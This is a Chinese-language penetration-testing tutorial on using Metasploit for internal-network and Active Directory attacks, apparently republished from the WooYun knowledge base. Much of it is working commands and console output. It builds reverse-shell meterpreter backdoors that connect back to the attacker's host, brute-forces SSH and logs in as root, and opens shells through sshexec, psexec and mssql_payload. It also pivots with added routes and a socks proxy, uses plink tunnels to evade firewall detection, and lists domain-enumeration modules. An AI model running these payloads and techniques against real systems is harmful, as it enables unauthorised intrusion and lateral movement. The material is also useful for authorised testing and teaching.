metasploit滲透測試筆記(內網滲透篇)

wyzsk發表於2020-08-19
作者: DM_ · 2014/08/12 12:23

0x01 reverse the shell


File

通常做法是使用msfpayload生成一個backdoor.exe然後上傳到目標機器執行。本地監聽即可獲得meterpreter shell。

reverse_tcp/http/https => exe => victim => shell

reverse_tcp

windows:

msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

enter image description here

Linux(x86)

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell

enter image description here

reverse_http

msfpayload windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

reverse_https

msfpayload windows/meterpreter/reverse_https LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

Login privilege

在獲得一些登陸許可權之後獲得meterpreter shell的方法。

SSH

ssh_login

模組路徑:auxiliary/scanner/ssh/ssh_login

msf exploit(sshexec) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASS
set PASSWORD   set PASS_FILE  
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > exploit 

[*] 192.168.1.104:22 SSH - Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions 

Active sessions
===============

  Id  Type         Information                       Connection
  --  ----         -----------                       ----------
  4   shell linux  SSH root:toor (192.168.1.104:22)  192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1.104)

msf auxiliary(ssh_login) >

enter image description here

這裡metasploit在探測ssh弱口令時,如果發現存在,則會返回一個linux shell,注意此時不是meterpreter shell。接下來可以使用

sessions –u id

將linux shell升級為meterpreter shell,本地測試失敗了。:(

sshexec

模組路徑:auxiliary/scanner/ssh/ssh_login

注意這個模組BT5下是沒有的,kali中則存在。

msf> use exploit/multi/ssh/sshexec 
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.1.105 
LHOST => 192.168.1.105
msf exploit(sshexec) > set LPORT 8080
LPORT => 8080
msf exploit(sshexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(sshexec) > set PASSWORD toor
PASSWORD => toor
msf exploit(sshexec) > exploit 

[*] Started reverse handler on 192.168.1.105:8080 
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress -  40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager progress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800

meterpreter > 

enter image description here

smb

模組路徑:exploit/windows/smb/psexec

當使用smb_login掃出windows的弱口令時,可以嘗試使用這種方法獲取shell。 這是在內網中獲得windows shell最基本的方法,在登陸域機器時需要設定Domain引數,否則登陸錯誤。

正如之前提到的show advanced,每個模組都有高階引數設定,這裡的psexec就可以設定advanced中的EXE引數達到執行攻擊者本地任意檔案的目的(見參考<1>)。

enter image description here

enter image description here

如果目標機器有殺軟或者其他簡單的防護措施呢? 那麼可以嘗試只執行命令

psexec_command

模組路徑:auxiliary/admin/smb/psexec_command

enter image description here

這裡需要注意的是psexec.exe(pstools中的工具)如果不能成功執行,那麼psexec_command或許是可以執行的,並且大多數的情況下metasploit中的psexec都可以用,而psexec.exe則不能用 :(

sqlserver

msf exploit(psexec) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options 

Module options (exploit/windows/mssql/mssql_payload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   METHOD               cmd              yes       Which payload delivery method to use (ps, cmd, or old)
   PASSWORD                              no        The password for the specified username
   RHOST                                 yes       The target address
   RPORT                1433             yes       The target port
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(mssql_payload) >

enter image description here

在獲得sql server的登陸許可權後同樣可以快速的獲得meterpreter shell。

注意這裡METHOD選項,三種方法都要使用XP_cmdshell,而第一種ps是使用powershell,第二種需要使用wscript.exe,第三種則要用到debug.com。 本地沒有環境,就不截圖演示了

others

不管是什麼場景,只要能轉換成檔案上傳和執行許可權就可以得到shell。在獲得一種許可權時當然可以先google一番是否有可適用的指令碼,如果沒有再分析是否能轉換為檔案操作和執行許可權。如果可以那就可以得到shell了。 比如:

mysql and sqlserver ..etc => file/webshell =>shell

本地同樣也測試了下tunna裡自帶的msf外掛,測試了php版的。程式碼大致是這樣的

enter image description here

先本地生成一個meterpreter.exe(檔名不隨機),

然後上傳到c:\windows\temp\meterpreter.exe

再透過php的exec函式執行。測試的時候發現程式碼生成meterpreter.exe時LHOST引數有誤,改了rb程式碼之後終於在錯誤中彈回。

0x02 pivot with metasploit


在獲取到跳板機一定許可權後,如何充分發揮跳板功能呢?這部分內容將簡單的介紹幾種常見的方法。

新增路由表

enter image description here

這是在metasploit中最常用的方法,在新增路由表和session的關係後,便可以使用msf中的模組跨網段掃描或攻擊。方法有很多,這裡有個指令碼autoroute可以快速新增路由表(如上圖),也可以將當前session置於後臺(backgroud),然後用route命令新增。

Socks4a代理

這裡使用auxiliary/server/socks4a模組,需要注意Proxychains不支援ICMP,所以在代理使用NMAP的時候需要使用 –sT -Pn引數。另外Proxychains的連線提示很亂,用kali自帶的Proxychains代理使用sqlmap的時候看起來真的特別亂。在這裡可以使用proxychains-ng。 先在kali中解除安裝proxychains,然後再安裝proxychains-ng。

enter image description here

[email protected]:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
[email protected]:~# cd proxychains-ng/
[email protected]:~/proxychains-ng#  ./configure --prefix=/usr --sysconfdir=/etc
Done, now run make && make install
[email protected]:~/proxychains-ng# make && make install

之後使用proxychains4 -q 選項執行,然後就不會有雜亂混雜的輸出了。

ssh

meta_ssh

當有一個ssh登入許可權後,可以使用這個外掛在ssh會話基礎上建立連結(見參考<2>)。

enter image description here

enter image description here

之後進入shell,檢視網路卡IP資訊,然後退出再新增路由表。

enter image description here

再嘗試掃描5.5.5.0/24這個段,然後對這個段中的5.5.5.134進行弱口令掃描。

enter image description here

發現可以獲得結果。

ssh/plink.exe

還有一種利用SSH的方式就在windows下使用plink反彈,這樣資料包經過SSH加密後,便可以躲過防火牆的檢測。同理在linux也是一樣的。 首先生成反彈到本地的reverse後門。

msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 >  ~/Desktop/backdoor_reverse_localhost.exe

enter image description here

然後開啟本地監聽,再將plink和backdoor.exe透過webshell上傳。然後執行

echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor

之後執行backdoor.exe,meterpreter就透過ssh tunnel建立起來了。

enter image description here

0x03 內網掃描


Metasploit對於常見服務(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc)掃描可以做到版本資訊(banner)、登入驗證等。

簡單過程可以參考之前的筆記《msf內網滲透小記》

具體掃描的指令碼路徑在/usr/share/metasploit-framework/modules/auxiliary/scanner下,可以根據需求自行發現。

常見的掃描埠: 7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665

當然也可以使用rc指令碼(basic_discovery.rc)。

另外內網裡還有一處資訊的蒐集就是snmp,如果有交換機存在snmp弱口令(團體字串),那麼便可以透過snmp收集路由表資訊和VLAN劃分資訊等。

一般網路都會在vlan劃分時備註資訊,比如Vlan100是x部門,Vlan200是y部門等等。 不同品牌、型號的交換機在獲取這一資訊時所需要的OID可能不同(大部分不一樣),而snmp又是在udp的161埠,在交換機沒有開放ssh、telnet、web時\或者開放以上服務,埠又未能做轉發時,則可以在知道具體的OID值後透過改寫snmp_enumusers.rb指令碼實現。

enter image description here

0x04 域滲透相關


推薦幾個AD下滲透的掃描指令碼(見參考<3>,下同)

psexec_Loggedin_users

enter image description here

這個指令碼可以找到當前段每個IP所登入的使用者。

local_admin_search_enum

enter image description here

這個可以找到當前登入管理賬戶的IP和使用者名稱。

psexec_scanner

enter image description here

批次執行psexec獲得shell,指令碼里有個psexec的函式,絕對是改寫的好範本。見參考<4>

更多metasploit關於windows域滲透的指令碼見參考<5>

0x05 後記


關於內網及域下滲透並不一定需要metasploit,更多的是與其他工具的配合。而且這一過程思路(見參考<6>)和對AD的理解明顯比會用工具重要。metasploit只是提供了一個自動化發現利用的tunnel,如果簡單理解ruby及metasploit程式碼框架,無論是學習還是滲透測試,都將會是一個有力的輔助。另外上文中的示例只是為讀者所遇情況而構建指令碼時的參考。

0x06 參考


<1> http://opexxx.tumblr.com/post/35763770674/btb-security-how-to-make-custom-exes-for-deployment

<2> https://github.com/dirtyfilthy/metassh

<3> http://www.pentestgeek.com/2012/11/03/find-local-admin-with-metasploit/

<4> http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html

<5> https://github.com/darkoperator/Meterpreter-Scripts/tree/master/post/windows/gather

<6> http://www.freebuf.com/articles/web/5901.html (及8樓Gall的回覆)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章